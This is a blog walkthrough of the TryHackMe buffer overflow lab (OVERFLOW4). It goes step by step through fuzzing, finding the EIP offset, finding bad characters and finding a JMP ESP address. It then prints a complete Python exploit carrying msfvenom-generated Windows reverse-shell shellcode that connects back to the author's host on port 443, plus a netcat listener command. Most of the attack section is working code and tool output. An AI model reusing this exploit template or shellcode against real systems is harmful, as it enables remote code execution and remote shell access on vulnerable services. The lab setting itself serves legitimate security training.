BufferOver Flow — TryHackMe

Anon Tuttu Venus
8 min readJan 23, 2021

--

Walkthrough Fast Forward Video: https://www.youtube.com/watch?v=dHPgRlNW-MU&feature=youtu.be

System IP: 10.10.232.66

Vulnerability Exploited: BufferOver Flow

Vulnerability Fix: To prevent buffer overflow, developers of C/C++ applications should avoid standard library functions that are not bounds-checked, such as gets, scanf, and strcpy.

Severity: Critical

// Run BOF app on a windows box.

// Right Click Immunity Debugger →Run As Administrator → File → Open →Locate App → F9 to Start

Proof of Concept:

Checking the connectivity to the Victim machine.

nc 10.10.232.66 1337

// We will run the exploit on OVERFLOW4

Step 1: Fuzzing and Finding the Crash Point

// Fuzzer ( fuzz.py ) used in this example : https://github.com/anontuttuvenus/BOF/blob/main/fuzz.py

After running the fuzz.py, the application got crashed at 2100 bytes, but it is not the exact value.

We will add 400 bytes to 2100 bytes and will make a cyclic value of 2500 bytes.

For making cyclic value, we will use msf-pattern_create

Step 2: Creating cyclic value with msf-pattern_create

// Exploit ( exploit.py ) used in this example : [ IP will be different ] https://github.com/anontuttuvenus/BOF/blob/main/exploit.py

┌──(root💀kali)-[/opt/BOF]
└─# cat exploit.py
import socketip = "10.10.232.66"
port = 1337
prefix = "OVERFLOW4 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2D"
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try: s.connect((ip, port))
print("Sending evil buffer...")
s.send(buffer + "\r\n")
print("Done!")
except:
print("Could not connect.")

Before running the script we need to re-attach the vulnerable app.

Cntrl +F2 followed by F9

We can fire up the exploit.py, the program will again get crashed.

Step 3: Finding the EIP value

For finding the EIP, we can make use of the mona module.

!mona findmsp -distance 2500

where the distance is the cyclic value ( 2500 ), that we created

Find EIP value, where 2026 is the EIP Value

Now we got the EIP value, we can confirm whether the EIP value is correct or not, EIP is 4 bytes long. 2026 is the starting of EIP, 2026 to 2030 is the EIP value. To confirm this we can add 4 * “B”, to the script. Once the script is executed EIP will be replaced with 42424242, which is hexa equivalent of 4 B’s.

The modified script will be this,

┌──(root💀kali)-[/opt/BOF]
└─# cat exploit.py
import socketip = "10.10.232.66"
port = 1337
prefix = "OVERFLOW4 "
offset = 2026
overflow = "A" * offset
retn = "B" * 4
padding = ""
payload = ""
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:s.connect((ip, port))
print("Sending evil buffer...")
s.send(buffer + "\r\n")
print("Done!")
except:
print("Could not connect.")

Before running the script we need to re-attach the vuln app, Cntrl + F2 followed by F9.

EIP value is 42424242

Now we can confirm that the starting value of EIP is 2026.

Step 4: Finding Badchars.

//I have used this below file, which contains all the badchars. 0 is excluded since it is always a badchar. https://github.com/anontuttuvenus/BOF/blob/main/badchars.txt

We need to modify our script, we will add the badchars in the payload variable section.

┌──(root💀kali)-[/opt/BOF]
└─# cat exploit.py
import socketip = "10.10.232.66"
port = 1337
prefix = "OVERFLOW4 "
offset = 2026
overflow = "A" * offset
retn = "B" * 4
padding = ""
payload = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:s.connect((ip, port))
print("Sending evil buffer...")
s.send(buffer + "\r\n")
print("Done!")
except:
print("Could not connect.")

Before running the exploit, we need to re-attach the vuln app. [ Cntrl + F2 → F9 ].

Either we can find the badchars manually or we can make of mona module. Here I will do with the help of the mona module.

Generate a bytearray using mona, and exclude the null byte (\x00) by default

!mona bytearray -b “\x00”

Now, bytearray.txt and bytearray.bin contain all the badchars. We will compare the value on the crashed app with bytearray.bin

We need the value of ESP to compare the same, we can obtain the ESP value from the ” CPU ” Window on Immunity debugger

ESP 018AFA30

Let's compare, we will be using the below command :

!mona compare -f C:\mona\oscp\bytearray.bin -a 018AFA30
!mona compare -f C:\mona\oscp\bytearray.bin -a 018AFA30

From the above result, we can see there are multiple badchars.

BadChars : 00 a9 aa cd ce d4 d5

Not all of these might be badchars! Sometimes badchars cause the next byte to get corrupted as well, or even affect the rest of the string. That means, a9 might be badchars since aa is followed by a9, it also got listed.

So at first, we will assume that these will be the badchars`00 a9 cd d4 `

We need to remove “\x00 \xa9 \xcd \xd4 “ from our exploit script and we need to make a new bytearray with mona module excluding the same chars.

Modified exploit.py

┌──(root💀kali)-[/opt/BOF]
└─# cat exploit.py
import socketip = "10.10.232.66"
port = 1337
prefix = "OVERFLOW4 "
offset = 2026
overflow = "A" * offset
retn = "B" * 4
padding = ""
payload = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xce\xcf\xd0"
"\xd1\xd2\xd3\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:s.connect((ip, port))
print("Sending evil buffer...")
s.send(buffer + "\r\n")
print("Done!")
except:
print("Could not connect.")

Modified bytearray.bin

!mona bytearray -b “\x00\xa9\xcd\xd4”

We need the value of ESP again to compare, we can obtain the ESP value from the “CPU” Window on Immunity debugger. Don’t use the prev value, there will be a small change.

ESP 019AFA30

Now let’s compare, we will be using the below command :

!mona compare -f C:\mona\oscp\bytearray.bin -a 019AFA30

From the above output, we can see that all the badchars are removed.

Final BadChars : “\x00\xa9\xcd\xd4”

Step 5: Finding JMP ESP

Once again we will make use of the mona module, after -cpb it will be total badchars.

!mona jmp -r esp -cpb “\x00\xa9\xcd\xd4”

When you execute the command, the Immunity debugger may change the window to “CPU”, you can change it from “CPU” → “Log Data”.

Output of — !mona jmp -r esp -cpb “\x00\xa9\xcd\xd4”

9 pointer are listed, we need to select one of them, check the one which is having false value for ASLR, Rebase, and SafeSEH.

I will be using “625011af” — the pointer

We need to write this in Little Ending format, i.e, af 11 50 62 [ In Reverse ]

JMP ESP →“\xaf\x11\x50\x62”

Step 6: Creating Shell Code

We can use msfvenom to create the shellcode while creating we need to exclude the badchars that we found earlier.

┌──(root💀kali)-[/opt/BOF]
└─# msfvenom -p windows/shell_reverse_tcp LHOST=10.9.62.7 LPORT=443 -b "\x00\xa9\xcd\xd4" EXITFUNC=thread -f python -v payload

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1869 bytes
payload = b""
payload += b"\xb8\xaf\x45\x71\x70\xd9\xf7\xd9\x74\x24\xf4\x5a"
payload += b"\x31\xc9\xb1\x52\x31\x42\x12\x83\xc2\x04\x03\xed"
payload += b"\x4b\x93\x85\x0d\xbb\xd1\x66\xed\x3c\xb6\xef\x08"
payload += b"\x0d\xf6\x94\x59\x3e\xc6\xdf\x0f\xb3\xad\xb2\xbb"
payload += b"\x40\xc3\x1a\xcc\xe1\x6e\x7d\xe3\xf2\xc3\xbd\x62"
payload += b"\x71\x1e\x92\x44\x48\xd1\xe7\x85\x8d\x0c\x05\xd7"
payload += b"\x46\x5a\xb8\xc7\xe3\x16\x01\x6c\xbf\xb7\x01\x91"
payload += b"\x08\xb9\x20\x04\x02\xe0\xe2\xa7\xc7\x98\xaa\xbf"
payload += b"\x04\xa4\x65\x34\xfe\x52\x74\x9c\xce\x9b\xdb\xe1"
payload += b"\xfe\x69\x25\x26\x38\x92\x50\x5e\x3a\x2f\x63\xa5"
payload += b"\x40\xeb\xe6\x3d\xe2\x78\x50\x99\x12\xac\x07\x6a"
payload += b"\x18\x19\x43\x34\x3d\x9c\x80\x4f\x39\x15\x27\x9f"
payload += b"\xcb\x6d\x0c\x3b\x97\x36\x2d\x1a\x7d\x98\x52\x7c"
payload += b"\xde\x45\xf7\xf7\xf3\x92\x8a\x5a\x9c\x57\xa7\x64"
payload += b"\x5c\xf0\xb0\x17\x6e\x5f\x6b\xbf\xc2\x28\xb5\x38"
payload += b"\x24\x03\x01\xd6\xdb\xac\x72\xff\x1f\xf8\x22\x97"
payload += b"\xb6\x81\xa8\x67\x36\x54\x7e\x37\x98\x07\x3f\xe7"
payload += b"\x58\xf8\xd7\xed\x56\x27\xc7\x0e\xbd\x40\x62\xf5"
payload += b"\x56\x65\x7a\xcb\xa1\x11\x7e\x33\xaf\x5a\xf7\xd5"
payload += b"\xc5\x8c\x5e\x4e\x72\x34\xfb\x04\xe3\xb9\xd1\x61"
payload += b"\x23\x31\xd6\x96\xea\xb2\x93\x84\x9b\x32\xee\xf6"
payload += b"\x0a\x4c\xc4\x9e\xd1\xdf\x83\x5e\x9f\xc3\x1b\x09"
payload += b"\xc8\x32\x52\xdf\xe4\x6d\xcc\xfd\xf4\xe8\x37\x45"
payload += b"\x23\xc9\xb6\x44\xa6\x75\x9d\x56\x7e\x75\x99\x02"
payload += b"\x2e\x20\x77\xfc\x88\x9a\x39\x56\x43\x70\x90\x3e"
payload += b"\x12\xba\x23\x38\x1b\x97\xd5\xa4\xaa\x4e\xa0\xdb"
payload += b"\x03\x07\x24\xa4\x79\xb7\xcb\x7f\x3a\xd7\x29\x55"
payload += b"\x37\x70\xf4\x3c\xfa\x1d\x07\xeb\x39\x18\x84\x19"
payload += b"\xc2\xdf\x94\x68\xc7\xa4\x12\x81\xb5\xb5\xf6\xa5"
payload += b"\x6a\xb5\xd2"
--> LHOST=10.9.62.7 [ My IP ]
--> LPORT=443 [ Listen Port ]
--> -b "\x00\xa9\xcd\xd4" [ Badchars ]

We are ready for our final payload.

Final Payload will have values for these variable below,

offset = 2026 [ EIP Value]
overflow = "A" * offset
retn="\xaf\x11\x50\x62" -- [JMP ESP Value]
padding = "\x90" * 16 [ Nop Sled ]
payload = shellcode output

exploit.py Final :

┌──(root💀kali)-[/opt/BOF]
└─# cat exploit.py
import socketip = "10.10.232.66"
port = 1337
prefix = "OVERFLOW4 "
offset = 2026
overflow = "A" * offset
retn = "\xaf\x11\x50\x62"
padding = "\x90" * 16
payload = b""
payload += b"\xb8\xaf\x45\x71\x70\xd9\xf7\xd9\x74\x24\xf4\x5a"
payload += b"\x31\xc9\xb1\x52\x31\x42\x12\x83\xc2\x04\x03\xed"
payload += b"\x4b\x93\x85\x0d\xbb\xd1\x66\xed\x3c\xb6\xef\x08"
payload += b"\x0d\xf6\x94\x59\x3e\xc6\xdf\x0f\xb3\xad\xb2\xbb"
payload += b"\x40\xc3\x1a\xcc\xe1\x6e\x7d\xe3\xf2\xc3\xbd\x62"
payload += b"\x71\x1e\x92\x44\x48\xd1\xe7\x85\x8d\x0c\x05\xd7"
payload += b"\x46\x5a\xb8\xc7\xe3\x16\x01\x6c\xbf\xb7\x01\x91"
payload += b"\x08\xb9\x20\x04\x02\xe0\xe2\xa7\xc7\x98\xaa\xbf"
payload += b"\x04\xa4\x65\x34\xfe\x52\x74\x9c\xce\x9b\xdb\xe1"
payload += b"\xfe\x69\x25\x26\x38\x92\x50\x5e\x3a\x2f\x63\xa5"
payload += b"\x40\xeb\xe6\x3d\xe2\x78\x50\x99\x12\xac\x07\x6a"
payload += b"\x18\x19\x43\x34\x3d\x9c\x80\x4f\x39\x15\x27\x9f"
payload += b"\xcb\x6d\x0c\x3b\x97\x36\x2d\x1a\x7d\x98\x52\x7c"
payload += b"\xde\x45\xf7\xf7\xf3\x92\x8a\x5a\x9c\x57\xa7\x64"
payload += b"\x5c\xf0\xb0\x17\x6e\x5f\x6b\xbf\xc2\x28\xb5\x38"
payload += b"\x24\x03\x01\xd6\xdb\xac\x72\xff\x1f\xf8\x22\x97"
payload += b"\xb6\x81\xa8\x67\x36\x54\x7e\x37\x98\x07\x3f\xe7"
payload += b"\x58\xf8\xd7\xed\x56\x27\xc7\x0e\xbd\x40\x62\xf5"
payload += b"\x56\x65\x7a\xcb\xa1\x11\x7e\x33\xaf\x5a\xf7\xd5"
payload += b"\xc5\x8c\x5e\x4e\x72\x34\xfb\x04\xe3\xb9\xd1\x61"
payload += b"\x23\x31\xd6\x96\xea\xb2\x93\x84\x9b\x32\xee\xf6"
payload += b"\x0a\x4c\xc4\x9e\xd1\xdf\x83\x5e\x9f\xc3\x1b\x09"
payload += b"\xc8\x32\x52\xdf\xe4\x6d\xcc\xfd\xf4\xe8\x37\x45"
payload += b"\x23\xc9\xb6\x44\xa6\x75\x9d\x56\x7e\x75\x99\x02"
payload += b"\x2e\x20\x77\xfc\x88\x9a\x39\x56\x43\x70\x90\x3e"
payload += b"\x12\xba\x23\x38\x1b\x97\xd5\xa4\xaa\x4e\xa0\xdb"
payload += b"\x03\x07\x24\xa4\x79\xb7\xcb\x7f\x3a\xd7\x29\x55"
payload += b"\x37\x70\xf4\x3c\xfa\x1d\x07\xeb\x39\x18\x84\x19"
payload += b"\xc2\xdf\x94\x68\xc7\xa4\x12\x81\xb5\xb5\xf6\xa5"
payload += b"\x6a\xb5\xd2"
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:s.connect((ip, port))
print("Sending evil buffer...")
s.send(buffer + "\r\n")
print("Done!")
except:
print("Could not connect.")

Before running the exploit.py we need to re-attach the vuln app [ Cntrl + F2 → F9 ] and start a Netcat listener to catch the reverse shell connection.

nc -nvlp 443 
Reverse Shell!

You can praticse BOF here : https://tryhackme.com/room/bufferoverflowprep

LinkedIn: https://www.linkedin.com/in/anontuttuvenus/

Github: https://github.com/anontuttuvenus

--

--